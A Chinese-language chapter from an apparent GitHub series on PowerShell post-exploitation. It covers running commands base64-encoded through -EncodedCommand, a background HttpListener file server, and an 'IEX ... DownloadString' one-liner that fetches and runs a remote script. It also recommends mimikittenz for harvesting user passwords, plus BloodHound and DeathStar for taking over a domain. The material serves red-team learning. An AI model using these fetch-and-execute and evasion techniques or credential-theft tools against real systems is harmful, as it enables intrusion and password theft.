-
Notifications
You must be signed in to change notification settings - Fork 193
/
11. 实例使用场景.md
118 lines (82 loc) · 5.85 KB
/
11. 实例使用场景.md
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
# Powershell(12)-实例使用场景
> 本篇为Powershell攻击指南——黑客后渗透之道系列之实战篇,主要介绍的一些实用的利用方式与利用场景和一些实用工具。
在实际的渗透环境中我们利用Powershell的方式无非两种:
1. 使用编码的方式对Powershell命令进行编码之后运行
2. 远程下载Powershell代码之后直接运行
两种方式各有利弊,第一种比较方便直接编码即可执行,第二种需要到一台拥有公网IP的机器,那么在实际的渗透环境中如何选择就得看具体场景了。下面看看两种实例:
## 通过编码的方式执行
我们做一个最简单的例子:
使用编码的方式执行`whoami`命令,我们首先使用下面的命令来进行编码
```powershell
$command = "whoami"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
echo $encodedCommand
```
这串代码执行完之后就会打印出编码结果,之后直接执行即可`powershell.exe -EncodedCommand $encodedCommand
`
完整过程如下:
![](https://raw.githubusercontent.com/myoss114/oss/master/uPic/op/1.png)
## 搭建小型HTTP服务器
> Powershell搭建HTTP服务器在真实的渗透环境中使用率是较高的,比如说我们需要直接的Get一个文件而使用SMB或者FTP是不推荐的,动静太大也较难搭建,而使用HTTP则没有这样的困难,也可以搭建在内网使用Powershell脚本的服务器。
>
> 那么很多人会说Python就好了啊,`-m SimpleHTTPServer`就好了,但是对于Windows操作系统并没有那么的Python环境供你使用,我们需要的是最少的操作做最多的事情,利用Windows自带的软件或文件是我们的最佳选择,所以Powershell是我们的不二之选
### HTTPListener-API
那么搭建HTTP服务器也是调用了API,使用到了.Net的API---HttpListener,我们只需要像这样调用`New-Object Net.HttpListener`那么我们就可以得到一个.Net对象,下面我们直接看看代码:
```powershell
# This script will execute in background
start-job {
$p="c:\temp\"
# $p = Get-Location 可以获取当前用户的目录,如果这样使用后面的$p改为$p.path
$H=New-Object Net.HttpListener
$H.Prefixes.Add("http://+:8889/")
$H.Start()
While ($H.IsListening) {
$HC=$H.GetContext()
$HR=$HC.Response
$HR.Headers.Add("Content-Type","text/plain")
$file=Join-Path $p ($HC.Request).RawUrl
$text=[IO.File]::ReadAllText($file)
$text=[Text.Encoding]::UTF8.GetBytes($text)
$HR.ContentLength64 = $text.Length
$HR.OutputStream.Write($text,0,$text.Length)
$HR.Close()
}
$H.Stop()
}
```
那么代码也不长,直接运行就能在后台运行,Powershell会返回一个任务ID
![](https://raw.githubusercontent.com/myoss114/oss/master/uPic/http/1.png)
如果我们需要停止这个HTTP,只需要Stop即可:
![](https://raw.githubusercontent.com/myoss114/oss/master/uPic/http/2.png)
那么我们只需要修改我们的目录即可对相应的目录进行访问与下载,非常方便。
### 远程加载执行
直接看看命令:
`powershell "IEX (New-Object Net.WebClient).DownloadString('http://127.0.0.1/httptest.ps1');"`
我们只需要在本地开一个Web服务,那么这就很好开了:通过Python或者其他的方式都可以,自己的机器怎么修改都可以。之后通过上面的命令下载你的脚本即可,这样就可以下载并执行了。那么还可以和上面编码的方式并用,就能更好的执行了。
### 实例工具
下面推荐一些比较好的工具,类似Powersploit或者nishang有的内容就不提及了,就提几个经常使用的工具。
#### mimikittenz
第一个是[mimikittenz](https://github.com/putterpanda/mimikittenz)这个脚本能够获取到用户级的密码,比如Deopbox,jira,Gmail等等,对于真实的渗透环境来说,需求还是挺大的,下面是这个脚本提供的运行截图。
![](https://raw.githubusercontent.com/myoss114/oss/master/uPic/op/2.png)
#### BloodHound
[链接](https://github.com/BloodHoundAD/BloodHound)
中文名猎犬,先说说能干嘛吧:内网信息域内关系与细节整理,这个工具也是作为DEFCON 24的免费开源工具发布,主要使用了图论的一些知识,推荐学习。
#### DeathStar
[链接](https://github.com/byt3bl33d3r/DeathStar)
中文名死星,一看名字就知道是个StarWar迷:),也能看出他的威力效果,下面是官方一张gif使用效果
![](https://raw.githubusercontent.com/myoss114/oss/master/uPic/op/3.gif)
这款工具需要配合Empire的API,下面[链接](https://byt3bl33d3r.github.io/automating-the-empire-with-the-death-star-getting-domain-admin-with-a-push-of-a-button.html)是作者的教程,大家可以自行研究。
### 开发工具
工欲善其事,必先利其器。这里提一下Ps的开发工具供大家选择。
#### ISE
那么最基础的是Ps的ISE,这个工具是自带的,通过下面的方式打开
![](https://raw.githubusercontent.com/myoss114/oss/master/uPic/op/4.png)
打开的界面如下:
![](https://raw.githubusercontent.com/myoss114/oss/master/uPic/op/5.png)
语法高亮,外加一个便于复制和粘贴操作的图形化控制台,可以说是非常的方便。
#### PowerShell Studio & Visual Studio
但如果你是一个需要更专业的开发环境,这款工具肯定能帮到你,官网在[这里](https://www.sapien.com/software/powershell_studio),简单看看他的一张截图:
![](https://raw.githubusercontent.com/myoss114/oss/master/uPic/op/6.png)
可以看到软件是非常专业的,非常的方便编写与管理你的代码。
[Visual Studio](https://marketplace.visualstudio.com/items?itemName=AdamRDriscoll.PowerShellToolsforVisualStudio2015)同意也能达到这样的效果,那么大家可以自行选择。